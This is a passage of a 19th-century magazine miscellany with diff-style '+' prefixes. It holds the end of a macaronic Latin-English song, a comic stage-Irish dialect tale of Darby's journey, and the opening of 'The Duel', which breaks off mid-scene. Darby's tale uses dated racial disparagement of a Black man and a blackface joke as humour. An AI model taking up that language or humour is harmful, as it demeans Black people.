+    Ut trahor campos et
+      Flumina trans;"
+    Jam linquo rudibus
+    Hic in paludibus,
+    "Patris tigurium
+      Splendidè stans."
+        _Fa-ra-la la-ra-la loo!_
+
+        _Dum tibicen, tu,
+      Modo flens, modo flans,
+        Iteras_ ελελευ,
+      _Cor et aurem vel lapidi dans._
+
+
+                3.
+
+    Full five years I follow'd him,
+      Nothing could sunder us;
+    Till he one morning
+      Had taken a sup,
+    And slipt from a bridge
+      In a river just under us,
+    Souse to the bottom
+      Just like a blind pup.
+    He roar'd, and he bawl'd out;
+    And I also call'd out,
+    "Now, Thady, my friend,
+      Don't you mean to come up?" ...
+    He was dead as a nail in a door;
+      Poor Thady was laid on the shelf.
+    So I took up his pipes on the shore,
+      And now I've set up for myself.
+        _Fa-ra-la la-ra-la loo!_
+
+      _Och hone!
+      Don't I handle the drone,
+        And play such sweet music? I too,
+      Can't I soften the heart of a stone?_
+
+
+                III.
+
+    Ut arte sic magicâ
+    Egi quinquennium,
+    Magistro tragica
+      Accidit res;
+    Bacchi nam numine,
+    Pontis cacumine
+    Dum staret, flumine
+      Labitur pes!
+    "E sinu fluctuum,
+    O puer, duc tuum
+    (Clamat) didascalum,
+      Fer opem nans!" ...
+    Ast ego renuo;
+    Et sumens denuò
+    Littore tibias
+      Sustuli, fans,
+        _Fa-ra-la la-ra-la loo!_
+
+          Φευ, ϕευ!
+        _Modo flens, modo flans,
+          Magico_ ελελευ
+      _Cor et aurem vel lapidi dans!_
+
+
+
+
+DARBY THE SWIFT;
+
+OR,
+
+THE LONGEST WAY ROUND IS THE SHORTEST WAY HOME.
+
+
+CHAPTER II.
+
+    "Aspettar' e non venire!"
+
+The Sunday after Darby _lingeringly_ started, I began to think it
+would be just as well to make "assurance doubly sure;" so I despatched
+a letter by post to my friend at Bally----, conveying similar
+instructions and advice to those contained in that entrusted to "_the
+running footman_" of my establishment. In three days I received a
+satisfactory answer, so I was at rest upon that point; but, as to
+Darby, I was quite at a loss. I turned over and over in my mind the
+various mishaps that might have befallen him by the way; but all to
+no purpose. I called up Eileen, and asked her what she thought about
+it. Her replies, mixed up, as they were, with her wild immoderate
+laughter, afforded me nothing beyond a sympathy with her mirth, which
+certainly was most infective. Reader, I am not a portrait-painter;
+but, nevertheless, I will attempt to give you an outline of Eileen. In
+the first place, she was a poor girl, (else she would not have been
+_my_ servant,) born of honest parents; but, if fate had placed her
+in a higher sphere, she had natural accomplishments enough to have
+graced it,--namely, youth, beauty, and health,--and, beyond these,
+an intellectual, though uneducated, refinement of thought, when, _by
+chance_, she was serious; for gaiety seemed to be an indispensable
+element of her being. She was eighteen years of age,--well, what do
+I say?--beautifully formed, had eyes like violets, cheeks like roses,
+hair, when it was dishevelled (despite Goldsmith's satire), like a
+weeping willow in a sunset, and--but, hold! I must not go further, lest
+I be suspected of being enamoured of the original; so I will give up
+the remaining parts of the picture, and leave them to your imagination!
+
+The Friday after Darby's setting out I was sitting in my room,
+very quietly poring over something or other of no importance,--I
+forget exactly what, but I think it was some speech in the House
+of Lords,--when a knock at the door agreeably disturbed me from an
+incipient somnolency, occasioned by a new and unprofitable line of
+reading.
+
+"Come in!" said I. "Who is it? and what do you want?"
+
+"It's only _me_, sir," said Eileen, laughing, as usual. "There's a
+cr_a_ther below that wants to speak to you, sir."
+
+"Who is it?" said I.
+
+"I don't well know, sir," replied she; "but I think he's some relation
+to poor Darby, that ye sent to Bally---- last Friday afternoon."
+
+"Oh! then send him up; he may account in some way for the extraordinary
+absence of his relative, said I.
+
+"Sure, an' it's myself, an' no relation at all," shouted Darby from
+below, indignantly.
+
+"_Oh! widdy-eelish!_" cried Eileen, breaking out into her hearty wild
+laugh, that was sure to set at defiance anything like gravity!
+
+"Come up, Darby," said I. "I thought we should never have seen you
+again."
+
+"Troth, an' the same thing came into my head more than oncet, masther.
+What the divil are ye laughin' at, honey?" said he (entering the room)
+to Eileen, who still continued her most boisterous mirth.
+
+"Go down stairs, Evelina," said I, "and leave Darby and me alone!"
+
+She did so; but whispered something in his ear as she passed, which
+made him so furious that I thought he would have knocked her down,
+had she not adroitly escaped him by shutting the door after her, and
+holding the handle on the outside so tightly that his efforts to open
+it and follow her were abandoned in a moment as fruitless.
+
+"What is the meaning of all this?" said I, severely. "Did you mean to
+strike the girl?"
+
+"Strike the _caileen_, yir honour? Oh, the Lord forbid! but, if I cotch
+her upon the stairs out o' yir honor's sight, maybe I wudn't give her
+cherry-lips a _pogue_ (yir honor knows what a _pogue_ is) that wud
+drive her sweetheart crazy for a month o' Sundays!"
+
+"Where have you been all this while?" inquired I, not willing to notice
+his speech.
+
+"Oh then, sure!" said he, in a most mournful tone, "masther,
+I've had the divil's own time of it, sir, since you were so
+unfortunate as to part with me, yir honor, on that same journey to
+Bally--Bally--Bally--bad luck to it! what do they call it?"
+
+"What has happened?" inquired I, anxiously, thinking he might have
+later news than my post-letter of three days before had conveyed.
+
+"Happened, yir honour! to who?" said Darby, with a wild look of
+concern. "I hope the family, Christians, bastes, and all, not barrin'
+the pig that had the measles, are in good health, and well to do as
+when I left them. Has the bracket hin taken to standin' upon one leg
+yit, sir, since she lost the other through that baste of a bull-dog
+belongin' to the parson? I'd lay three of her eggs she'll never forget
+the affront he put upon her then!"
+
+"We are all well here," said I; "but give me some account of what has
+befallen you on your journey, that delayed you so long."
+
+"Troth, an' I'll tell ye, masther," replied Darby, "in no time. Have ye
+five minutes to spare, sir?"
+
+"Yes," said I; "let me hear."
+
+"Well then, sir," commenced he, "you may remimber that it was on a
+Friday you took l_a_ve of me--last Friday of all--Friday was never a
+_looky_ day by _say_ or by land: ye see, I didn't go far afore I met
+with a disappointment, for I met a berrin' comin' right _fornenst_
+me--what _coud_ I do but turn back, in dacency, with it?--and, after
+I'd _keen'd_ about a mile with the mourners, I made bould to ax who was
+the body that was makin' a blackberry _ov_ himself."
+
+"A blackberry!" interrupted I.
+
+"Yes, yir honor, a blackberry," replied Darby: "do ye know that, let
+it shoot never so far, it's sure to come back as near as it can to the
+root of it where it first started; and so arn't we all blackberries? As
+the priest says on Ash-_Wendsday_, "Remember, man, you are but dust,
+and into dust you must return." Now, I've known bigger _dusts_ in their
+lifetime than they were turned out of afterward, when they took to
+studyin' astron_a_my with
+
+    'The tops of their toes,
+    And the tip of their nose,
+    Turn'd up to the roots of the daisies!'
+
+But, whose berrin' should it be, after all, but ould Jemmy Cullen,
+the piper's! Ye know Jemmy Cullen, yir honour? him that used to play
+the organ on the pipes at high-mass durin' Christmas an' Easter. Oh!
+he was the boy to lilt at a weddin' or a wake! but, p_a_ce be width
+'im--God rest his sowl! as I said when I saw the _scragh_ put over him
+for the first time. Well, ye know, yir honor, that oncet upon the same
+road width them I coudn't do more nor less than wet our clay together;
+so, after walkin' the corpse three times round the churchyard of
+Glassin-oge--Were ye ever berried there, sir?--I mane, wud ye like to
+be berried there, sir?"
+
+"Not just yet," said I.
+
+"Oh, the Lord forbid, sir!" cried Darby. "I didn't mane that, by
+no manes. God send ye many days, and _prosprous_ ones too! But
+there's a taste in chusin' a berrin'-ground as well as there is in a
+drawin'-room," said he, looking around him.
+
+"So there may be," said I; "but that is only the whim or notion of a
+living man. When he dies, all churchyards are the same to him; he then
+can have no considerations about the matter."
+
+"That's all very true, sir," replied Darby; "but would ye like to be
+burnt after the breath was out o' ye?"
+
+"I could have neither liking nor disliking," answered I; "for I should
+be an insensible mass of matter."
+
+"But mightn't yir ghost, sir, like to see ye were comfortably provided
+for? I mane yir honor's dead body that's alive an' in good health now,
+an' long may it continue so!"
+
+"Oh! never mind," said I; "neither you nor I, Darby, know much about
+those things; so go on with your story."
+
+"Thank ye, sir!" said Darby, and resumed. "I was sayin', sir, as how
+we went to wet our clay together at the '_Three Jolly Pigeons_.' Yir
+honor knows the 'Three Jolly Pigeons,' facing the ould hawthorn o'
+Goldsmith, in the village of AUBURN hard by here, eh? Sure, an' I've
+heer'd as much as how they want to take the merits of the whole place
+to themselves over in England somewhere, as if it couldn't spake
+plainly for itself that it was bred and born here in ould Ireland ages
+ago! Isn't the '_Desarted Village_' a b_u_tiful histhory, masther? Lame
+Kelly, the poet, says, it bates the world for makin' the heart soft.
+It's myself that never passes the spot without a tear in my eye, like a
+widow's pig, as the sayin' is. There's the ruins of the d_a_cent church
+on the hill all in b_u_tiful repair to this hour, and the parson's
+house, and the schoolmaster Tom Allen's, and the common, and the pond,
+width the geese upon it still, as if it was only yistherday, an' the
+ould hawthorn--bad _look_ to their taste that built a stone wall round
+about it like a _jail_! What did the blessed tree ever do that it
+should be put in pound in that manner o' way?"
+
+Gentle shade of GOLDSMITH! amongst the many tributes to thy immortal
+genius, receive kindly the simple but honest homage of poor Darby.
+He may not be able to appreciate thee in all thy varied splendour of
+moral and intellectual worth; but he has a heart full of benevolence
+like thine own, and, although a poor Irish serf, has feeling and
+fancy enough to reverence the spots thou hast consecrated by the
+thousand-spelled wand of thy muse!
+
+"Darby," said I, "I promised you something on your return (though you
+did not come back as soon as I expected); there's a guinea for you."
+
+"Augh, thin, may the light of Heaven break yir last sleep!" said Darby;
+"but isn't it too much, masther?"
+
+"You are welcome to it," said I; "go on with your story."
+
+"Thank ye, sir!" replied he. "Whereabouts was I when I left off?"
+
+"Just where you are now," said I.
+
+"Beggin' yir honor's pardon, I think I was at the 'Three Jolly
+Pigeons.'"
+
+"Be it so," said I, "go on."
+
+"Well, as I was sayin', when we damp'd the grief a trifle at the
+_sheebeen_ width a drop of the rale _stone turf_, I takes up the kish
+again; but first I put my hand in the straw to see if the _dog-een_ was
+comfortable, and there he was to be sure, warm an' nice as a new-laid
+egg: so, wishin' the rest of the company every amusement in life, I
+set out on my travels agen. Just as I was in the doorway, Ned Coffey,
+the _whisperer_,--ye know Ned Coffey, yir honor, that brakes in the
+wild _coults_ width a charm he's got? Well, anyhow, if he didn't laugh
+so as if his mother was a horse; but I never minded him, only went on
+wonderin' to myself what cud av' made him so humoursome at a berrin'.
+Well, never mind that, I went on beautifully for a time, as good as an
+hour an' a half, when, all of a suddent, leppin' a ditch, the hayband
+I had acrass my breast bruk, and let the _clieve_ fall _clane_ in the
+dirty puddle. 'Oh, _hannamandhioul_!' says I, 'what'll the masther say
+to this?' The words were scarce past my lips when a _squake_ that 'ud
+av' split the ears of a pitcher came out o' the _clieve_, an' after
+that a gruntin', such as I never _heer'd_ come from mortal man afore,
+barrin' it was a pig under a gate!"
+
+"What could it have been?" inquired I, affecting a grave concern; "it
+was not my dog Squib, surely?"
+
+"Who the _nagers_ else could it be?" said Darby. "Only, after crassing
+myself three times, and turnin' up the basket wid' my _horse_, I found
+he was bewitched into the shape of a porker, as purty a young pig sure
+enough, about seven weeks ould, as I'd wish to clap eyes on."
+
+"A pig!" exclaimed I. "Why, he returned home that very night in his own
+shape."
+
+"Well then, see that, now," said Darby, "thuv', for my own part, I
+think it was all Ned Coffey's doin; but, be that as it may, I was never
+so frightened in all my born days, for I tuk to my heels, an' was out
+o' sight in no time, like a _haro_! tho' I hadn't far to go to be that
+same, for it was pitch-dark; so, to keep myself company, I began singin'
+
+    'The first o' my pranks was in little Rathshane,
+    Where love, just like whiskey, popp'd into my brain;
+    For Ally Magoolagh, a n_a_te little sowl,
+    As tall and as _strate_ as a shaverman's pole!'
+
+'Augh! thin, _was_ she?' says a voice that I cudn't see, tho' 'twas
+close to my left ear! 'Who's there?' says I. 'Where?' says it, on th'
+other side. 'Anywhere,' says I, 'to plaze ye;' and wid that I fell into
+a could sweat, for I began to think it was Mihilmas Eve, an' divil a
+grain of salt I had about me to keep me from harm! 'Crass o' Christ on
+us!' says I, 'an' God bless ye!' for I thought it was one of the good
+people, yir honor! so I made up my mind to get in-_doors_ as soon as I
+could. But that wasn't so aisy as wishin', for there wasn't a village
+nearer than five miles, nor a cabin by the way-side. At last I spies
+a light at a distance in the fields aff the road, and away we set, I
+and my _horse_, full gallup. Oh! many's the ditch we cleared without
+seein'; but still, never a bit did we come nearer to the light! 'Is it
+a _Will_,' says I to myself, 'or a _Jack_?' an' wid that out it goes on
+a suddent, and l_a_ves me up to my chin in a bog. Augh! then, hadn't I
+a cruel time of it there? I was, for all the world, like a _flay_ on
+Father Fogarty's pock-mark'd nose, or a blind horse in a tan-yard,--no
+sooner out o' one hole than into another! At last I got upon dry land,
+and wasn't I thankful for that same? for I got hoult ov a stone wall
+that directed me straight on to a gate that was only hasp'd; so I
+opened it, an' let myself out upon a _rodeiene_, that I knew by the
+tracks o' the wheels; so, turnin' myself round three times for _look_,
+(and bad _look_ it was,) I steps out into a ditch that was handy by the
+way-side,--for it was acrass the _rodeiene_ I went 'stead of lengthways
+either up or down; but how could I do betther in the dark? Well, afther
+a while floundherin' about like a litther of pups in a bag, I got on
+my feet agen clane out o' the mud, shiverin' an' shakin' as if I had
+Jack Nulty's ague 'pon me! 'Well,' says I to myself, 'it was _looky_ I
+stopp'd to have a drop at the berrin', or I'd av' nothin' to keep the
+could out o' me now! It was Providence as well as dacency that put it
+into my head!"
+
+"If you had not stopped," said I, "you would not have been overtaken by
+the night, and exposed to such a disagreeable accident!"
+
+"Well, sure, yir honor," replied Darby, "somethin' else might av'
+happened, an' who knows but it might 'a been worse?--there's no sayin'
+or accountin' for such things. Well, be that as it may, I began to
+walk on, feelin' afore me width my _horse_ (that never forsook me
+all the time) whether I was in the right road or not, till at last I
+comes all ov a suddent into the middle o' the town o' Lanesbro', with
+_raal_ candles (none ov yir _wisps_ or _lantherns_) burnin' in every
+window. Maybe I didn't know where I was then! So, mountin' my horse,
+sir, strad-legs, away I _canther'd_, blessin' my stars that I got on
+my journey so well and so far, width only a wettin' in the bog-holes
+an' ditches, and a scratch or two on my hands an' cheeks, that I made
+nothin' ov. 'Where will we put up for the night,' says I to my horse;
+but yir honor knows the _crathur_ cudn't answer me: so I tuk my own
+advice, an' went sthraight to 'The Cat and Bagpipes.' 'Will I get a
+lodgin' here the night?' says I to the lan'lady.--'Who are ye?' says
+she.--'Who am I!' I says; 'I'm yir honor's servant, on a mission,'
+says I, mentionin' yir name, masther.--'Can ye pay for a bed?' says
+she.--'Can money do it?' says I.--'To be sure,' says she.--'Then, look
+here,' says I; an' wid that I show'd her four and sixpence--for I only
+spent sixpence at the berrin'.--'Go into the kitchen,' says she, 'an'
+I'll see what I can do for ye.'--'Thank ye, ma'am,' says I. So I goes
+my ways into the kitchen, and sits down by the hob. That was very
+agreeable for a time; but, when I dried myself, an' wanted to go to
+bed after a drop or two, how d'ye think they sarved me? only sure, yir
+honor, by putting me in bed with a _furrener_,--nothin' more nor less
+than a _black_, savin' yir presence,--for it was the _fair_ night o'
+the town, and beds were scarce, an' not to be had for love or money; so
+I was _oblidged_ to sleep double, plaze ye, sir, in a two-bedded room.
+They tould me he was only a _sweep_; but he turned out to be a _raal_
+black, to my sorrow!"
+
+"In what way?" inquired I.
+
+"Oh! in many ways, sir," replied Darby. "First and forenenst, he
+prevented me takin' my natural rest afore midnight; for I took a Bible
+oath on a child's catechism that I wouldn't enther the room where he
+was afore the _good people_ were gone to roost; for who knows what they
+might have made of me? Lord bless ye! they'd av' turn'd every hair o'
+my head into pump-handles, if they liked, afore morn! so I thought it
+best to sit up a while, an' kick up a bit ov a dance in the kitchen
+width Katheen the maid, an' two or three other _spreesans_ that were
+inclined for the fun; an' fine sport we had, to be sure, to the tune of
+'_The Hare in the Corn_,' and '_Roger de Cuvverly_,'--did ye ever trip
+it to 'Roger de Cuvverly,' yir honor? Oh! it's an illigant cure for the
+gout!"
+
+"I never dance," said I.
+
+"An' more's the sorrow!" said Darby, "for ye've a fine pair o' legs o'
+yir own, an' it's a pity that a lame piper shudn't be the better o'
+them some night or other!"
+
+"We'll see about that," said I; "holiday-time is coming."
+
+"Thank ye, and long life to yir honor! Will ye give us the barn, sir,
+for a hop width the girls a-comin' Christmas?"
+
+"Yes," said I, "and a barrel of ale into the bargain."
+
+"Oh! then won't that be illigant?" said Darby, cutting an anticipatory
+caper on the carpet. "An' won't yir honor dance yirself, sir?"
+
+"I have said already that I never dance," replied I. "Go on."
+
+"Yes, sir, imm_a_diately," said he, and continued. "Well, after a
+bit we had a game o' blindman's buff, an', to be sure, _raal_ fun it
+was while it lasted, and that was till we got into the little hours;
+an' many's the trick we play'd one another, till myself felt the
+miller throwin' dust in my eyes; so, givin' Katheen the wink that I
+was goin' aff slily, I tould her to call me early in the morn, an'
+left the party to themselves. I soon tuk aff me, an' was asleep in no
+time; but in less than half an hour I had a most wonderful _drame_.
+I thought I was the first paycock that ever wore a tail in Paradise;
+an' maybe I wasn't proud o' myself, s_a_ted in the tree of knowledge,
+width Adam an' Eve, _ketchin'_ flies width their mouth open, lookin'
+at me for wonder. 'Arrah! _cushlah!_' says Adam to his wife; 'isn't
+it a b_u_tiful sight?'--'Troth, an' it is,' says she; 'avick! I hope
+he won't fly away, for I'd like to make a pet ov 'im. I'll just step
+in_doors_ for the blundherbuss!' When I came to this part o' my
+_drame_, the blood o' me ran could, an' I couldn't think what was
+the matther width me, barrin' it was the night-_mare_; but it was no
+such thing, for I turned on th' other side, and thought then I was a
+race-_horse_ on the Curragh of Kildare, an' yir honor clappin' spurs
+into me within twenty yards of the winnin' post! Well, that was better
+than t'other; but, as I was dr_a_ming in this fashion, I began to think
+they'd never call me at all, when Katheen, yir honor,--the purty little
+girl, sir, that kept me up so late the night afore, dancin' with her
+in the back-kitchen,--gave a _puck_ at the door with her fist, that
+sent in one of the panels, and dumb-foundered quite an ould clock on
+the back of it, that was pointin' width its two hands to some hour last
+year. 'Who the divil's that?' says I.--'It's only me,' says she, with
+a voice like a sp_a_king-trumpet, or a chorus of ganders. (I think the
+crather had a could upon her.) 'Arrah! d'ye never mane to l_a_ve off
+sleepin'?'--'What o'clock is it, alanna!' says I.--'Oh! the same hour
+it was this time yisterday, I suppose,' says she, 'for the clock is
+_down_.'--'Faith! it is,' says I, nate and cl_a_ne upon the _flooer_;
+'but never mind that, the sun's _up_!'--'Ay,' says Katheen, 'this two
+hours or more.'--'And so wud I,' says I, 'if I had as far to travel in
+the day as he has!'--'Augh!' said Katheen, 'you lazy _puckaun_, did
+ye never hear that the early bird _ketches_ the worm?'--'Troth, an' I
+did,' says I, 'putting on my shirt; 'but what an _ummadhaun_ the worm
+must be to get up afore him.'--'An' over an' above,' says Katheen, 'the
+man that was on the road betimes in the mornin' found a purse.'--'Ay!'
+says I, 'but the poor divil that lost it was there first.'--'Oh, the
+_divil_ be width ye! stop there till ye're stiff av ye like,' said
+Katheen, and run down stairs afore I could say Jack Robison. Well,
+then, yir honor, I was soon drest an' up; so, as I'd _ped_ my way _the
+night_, I had _nawthin'_ to do but pass clane through the kitchen in
+the mornin', an' take to the road agen, when I saw Katheen a-lightin'
+the fire. I just stepped towards her for a kiss _a-dhurrus_, when she
+cried murther in Irish, loud enough to waken the whole house; so I
+thought I'd have nothin' more to do width her this time, and went my
+ways p_a_ceably. It was a fine mornin', barrin' the mist, that wudn't
+let ye see a yard afore ye at a time, an', to be sure, I _kep_ it up
+at a fine rate 'till I r_a_ched the town of Kilcronan. But, what d'ye
+think happened me there, yir honor?"
+
+"I'm sure I cannot say," said I.
+
+"Well, then, I'll tell ye, sir. As I was passin' by a pawnbroker's that
+was settin' out his goods for sale, what did I see but a lookin'-glass
+starin' me in the face, an' a blackamoor's head in the middle of it.
+Well, I look'd, and look'd, and look'd agen, but divil a bit was it
+like me; so, turnin' 'pon my heel, 'Bad look to them!' says I, 'they've
+woke the _wrong man_;' for yir honor remimbers that I slept width a
+_furrener_ the night afore, and left orders to be called early; so I
+had nothin' for it but run back agen as hard as I could lay foot to
+ground for twelve honest miles; and lucky sure it was that the fog was
+so thick as ye could cut it with a knife, or I'd av' 'ad the divil's
+own time of it on the way. But, as it happened, I met nobody that knew
+me, 'cept blind M'Diarmot the sign-painther."
+
+"Sign-painter!" exclaimed I. "I thought you said he was blind."
+
+"Augh! sure it was afore he lost his eye-sight," said Darby, "that he
+was the most illigant sign-painther in the county. Didn't he paint
+_The Pig and Thrush_ for Mat Sleven; an' _The Three Blacks_, that ye'd
+take for two twins, they're so like one anuther; and _The Red Herrin'_
+for Pat Gaveny in the market, that look'd so _salt_ it made yir mouth
+wather to that degree, that ye cudn't help, passin' by, goin' in to
+have a drop. Oh! it brought powers of custom anyhow!"
+
+"How did he lose his eyes?" inquired I.
+
+"He didn't lose them at all, sir," replied Darby, "only the sight o'
+_one_ o' them, (for he never had th' other,) an' that was all through
+Molly, _the Lump_, that advised him, (bad win' to her!) to use cr_a_me
+when he had a could upon his intellects after the _typus_; so he mistuk
+a pot o' white lead for the same, one evenin' that he had a drop too
+much, and fairly painted himself blind; for from that hour to this he
+can't see a hole in a forty-fut laddher. And more's the pity, for he
+had plenty o' _drawin'_ about the counthry to do; an' now his dog has
+got into the _line_ ov it for him, the crathur! Well, anyhow, knowin'
+he was a jidge o' colours, I ax'd him to feel my face, an' tell me what
+was the matther width it; so he puts his hand upon me, an' may I never
+die, masther, if it didn't turn as black as a crow as soon as he drew
+it acrass my cheek! 'Well,' says I, 'this b_a_tes cock-fightin'!' But I
+soon found out the trick they played me; for M'Diarmot, when he smelt
+his hand, said there was s_u_t and goose-gr_a_se upon it. So ye see,
+yir honor, the truth was, they blackened my face in the kitchen afore
+they put me to sleep with the black, that I mightn't know which was
+myself in the mornin'. May they live till the ind o' the world, that
+the divil may have a race after them, say I, for that same!"
+
+
+
+
+THE DUEL.
+
+
+I was educated, said a French gentleman whom I met in quarantine, at
+Poitiers, though Lusignan is my native town.
+
+Poitiers is well known to the antiquary as having possessed a Roman
+amphitheatre, of which, however, when I was at that university, only
+a vault, supposed to have been a cage for the wild beasts, remained.
+This cage, from the solidity of the masonry, and the enormous size of
+the blocks, seemed indestructible, but was not so; for when I last
+visited Poitiers, and asked for the key of the cavern, I found that it
+no longer existed, and that on the site had been constructed the inn of
+the "Trois Pelerins."
+
+It is a stone's throw from the Salle d'Armes, a place with which I had
+been better acquainted than with the schools. To revive my ancient
+recollection, I entered the _salle_, and found there an inhabitant of
+the town whom I had known at college. He proposed that we should dine
+together at the "Trois Pelerins;" and, after drinking as good a bottle
+of wine as it afforded, he related to me what a few days before, in
+the very room where we were sitting, had happened at a dinner of the
+collegians. It was ordered for twelve; but, one of the party having
+invited a friend, the number swelled to thirteen.
+
+It is said that superstition supplies the place of religion; I
+have observed this to be the case with the most sceptical of my
+acquaintance: and thus this number thirteen occasioned some remarks,
+and the stranger was looked upon with no very favourable eye, and
+considered as a supernumerary, who brought with him ill luck.
+
+One of the set at last summoned resolution enough to say,
+
+"I do not dine thirteen."
+
+"Nor I," said another.
+
+"Nor I," was repeated on all sides.
+
+The guest, naturally embarrassed at this rudeness, got up, and was
+about to retire, when Alfonse, to whom he came as an _umbra_, proposed
+an ingenious expedient for doing away with the evil augury, and said,
+
+"There is one way of annulling the proverb that threatens death in
+the course of the year to one of a party of thirteen; that way is,
+to decide which of us shall fight a duel this evening, or to-morrow
+morning."
+
+"Done!" cried all the students at a breath.
+
+"Shall it be among ourselves?" said one of them.
+
+"No," replied the author of the proposition; "for then two of us would
+have to fight, whereas it ought to be the thirteenth."
+
+"Right," said all the young men.
+
+"Then let it be with one of the officers of the garrison."
+
+"Be it so," said Alfonse; "we will make a pool, as usual, at the
+_café_, all thirteen of us; and----"
+
+"The first out," said the student.
+
+"No," interrupted Alfonse, "that would be a bad omen; it shall be the
+winner."
+
+"Agreed!" replied all, and they sate down to table with as much gaiety
+and _insouciance_ as if nothing had been said.
+
+The stranger, just as the soup was being put on the table, got up, and
+with a magisterial tone of voice addressed the assembly. "Gentlemen,"
+said he, "I feel suddenly inspired with a sublime idea. We are about
+to eat and drink in the ruins of Roman greatness (alluding to the
+amphitheatre). Let us imitate that people in every thing that is
+great. Nothing could be more splendid than the games of the gladiators
+which were celebrated over the tombs of the mighty dead,--nothing more
+sumptuous than the festivals held at their funerals. This is probably
+also a funereal fête; with this difference, that it is held before, and
+not after death. Let Poitiers therefore rival Rome in her magnificence;
+let this _cena_ be in honour of the mighty remains over which we are
+sitting; let it be _morituro_,--sacred to him who is about to perish."
+
+"Bravo!" exclaimed the guests one and all; "a splendid idea, by
+Jove!--a splendid _cena_ be it!"
+
+"Open the windows!" cried Alfonse. The windows were opened. As soon
+as the soup was served, smash went all the plates into the yard, and
+shivered against the pavement. So, during the rest of dinner, every
+plate as fast as it was cleared, every bottle as soon as emptied,
+followed their fellows. One might perceive, by the practised dexterity
+of this feat, that it was not the first time they had played the same
+game.
+
+During the first course nothing particular occurred to disturb their
+harmony; but it so happened that the _rôti_, which is, as you know, in
+France always served last, was burnt. Then there arose a general burst
+of indignation.
+
+"Send the cook!" exclaimed they all to the waiters.
+
+"Order up the cook! Here, cook! cook!" was the universal cry.
+
+But the _chef_ was not forthcoming.
+
+Alfonse, the president, then said, "Must I go myself and fetch him?"
+
+This menace had its effect: the _pauvre chef_, pale as death, and
+all cotton cap in hand, crawled into the room. He was greeted with
+deafening shouts.
+
+"Come here!" said Alfonse. "Do you take us for the officers? What do
+you mean by serving us in this manner,--eh?"
+
+The man of the spit stammered out an apology. Alfonse looked at him
+askance.
+
+"If I served you right," said he, "I should make you eat this
+detestable _rôti_ of yours; but, as it is the first time of happening,
+my chastisement shall be a paternal one. Hold out your cotton cap."
+
+The _chef_ obeyed, and Alfonse turned out of a dish into it an enormous
+clouted cream (_omelet soufflé_), and said,
+
+"Come, now, on with the cap, and see you don't first spill a drop."
+
+He was forced to comply; and the unhappy Ude (_udus_), his face and
+white jacket streaming with the contents of the _plat_, was followed
+out of the room with hisses and bursts of laughter.
+
+Thus went on the dinner, and with it a concert of broken plates,
+dishes, glasses, and bottles, accompanied by noises of all sorts, which
+rose to _fortissimo_ as the wine, of which they drank to excess, got
+into their heads.
+
+The dessert, which succeeded the second course, was ended by what
+they called a salad. This salad was thus mixed. They turned up the
+four corners of the table-cloth, and rolled therein all the fragments
+that were left. At this juncture the waiters disappeared, conjecturing
+shrewdly that, if they stayed any longer, the feast might be too grand
+for them. In short, when all that remained of the dessert was bundled
+well up, the collegians got on the table, and, at the risk of cutting
+their feet with the fragments of the crockery, and the splinters of
+the glass, danced thereon, till everything was pounded, smashed, and
+broken. Then the table-cloth, with all it contained, (the salad,) was
+thrown out of the window; after it the table, then the chairs, then the
+rest of the furniture, and, when there was nothing more to destroy, the
+frenzied youths thought they could do no better than throw themselves
+out; and all the thirteen "followed the leader," Alfonse, and jumped
+from the first floor into the court.
+
+There is a saying, that over drunkards watches an especial Providence.
+But there are, it seems, two; for the students, on this occasion, found
+one of their own, which doubtless befriended them in this mad leap.
+Certain it is that none of the party met with the slightest accident,
+and, gloriously drunk, they rushed out into the street, after the most
+remarkable orgie that had taken place for some time at Poitiers.
+
+They made a brilliant _entrée_ into the _café_,--a general place of
+rendezvous for the students and officers when they were not at daggers
+drawn.
+
+Two of the latter were playing at billiards when they entered. But
+Alfonse, without waiting till the game was ended, asked, or rather
+demanded, in an authoritative tone, that the table should be given up
+for a single pool to the thirteen.
+
+Thinking that the object was, as usual, to decide who should pay for
+the dinner, or the _demi-tasse et chasse_, the players did not seem
+inclined to comply with this requisition; but when they learnt that a
+more momentous affair, a duel, was on foot, they hastened to lay down
+their cues. A duel! everything must yield to that!
+
+There were but few military men present, for that very day there was
+a _soirée_ at the general-commandant's of the garrison; and those
+few consisted of veterans, who preferred passing the evening at the
+_café_ to putting on silk-stockings and shoes, or of _chenapans_,
+who in the regiment went by the name of _crans_, or _bourreaux des
+cranes_. The old _grognards_, however, did not quit the room. The
+_chenapans_ interchanged glances with each other; and one or two of the
+sub-lieutenants, who had come to take their _demi-tasse_ before they
+went to the ball, also remained. They had all more or less formed a
+shrewd guess of what was to happen; and, for the honour of the service,
+waited for the quarrel to break out.
+
+In our schools and garrisons at Paris we are totally unacquainted with
+that _esprit de corps_ which engages a whole regiment, and an entire
+body of young men, in a duel, when two only are concerned; nor can we
+form a notion how slight a thing a duel is considered, when it is the
+custom to decide all questions sword in hand. Habit is all in all; and
+people soon learn to think no more of fighting than going to breakfast.
+
+It becomes a general endemic; and a person who, lost in the world of
+Paris, where he is unknown, might hesitate about demanding satisfaction
+for an insult however gross, would, in that atmosphere, be ready any
+day, or hour of the day, to call a man out for merely looking at him.
+
+The pool was begun. Never did a party, when a large sum of money
+depended on the issue of the game, play with more care and caution
+than those thirteen to decide which of them was to fight. By degrees
+the players lost their three lives, and the number was at last reduced
+to two; these two were the stranger guest and Alfonse. The lookers-on
+watched anxiously every stroke. Those balls, that as they rolled
+carried with them the fate of a man, were followed by earnest looks.
+The officers came nearer and nearer, and ranged themselves round the
+billiard. They were not a little interested to know whether they, or
+rather one of them,--which they knew not,--was to enter the lists with
+a freshman, no doubt unpractised in fencing, or with the most adroit
+and terrible duellist of the university.
+
+The chances were against them. The stranger lost.
+
+A singular excitement was occasioned by the disappearance of the last
+ball in the pocket. Some faces grew pale; but no one stirred from the
+spot where he had been standing as a spectator. Alfonse looked steadily
+round him, and made two or three times the circuit of the room, as
+though he were in search, but in vain, of some one worth quarrelling
+with. At last he perceived a sort of sub-lieutenant, originally
+drum-major and _maître-d'armes_, and who boasted of having killed his
+thirty pequins, sitting quietly in a corner. Alfonse walked straight
+up to him, and, saluting him with a politeness that electrified the
+company, said, in his cool way,
+
+"Monsieur, I am exceedingly distressed at the situation in which I find
+myself placed; but my honour is concerned, and you will allow me to
+engage yours."
+
+Without further preliminaries, he gave him a severe hit in the face.
+
+The officer, who little expected so abrupt and unanswerable a mode of
+provocation, sprang like a madman from his chair; and had not Alfonse,
+with the activity and nimbleness of a cat, leaped with one bound on the
+table, the ex-drum-major would probably have strangled him on the spot.
+
+He was quickly at the aggressor's heels, when his own comrades stopped
+him of their own accord, saying,
+
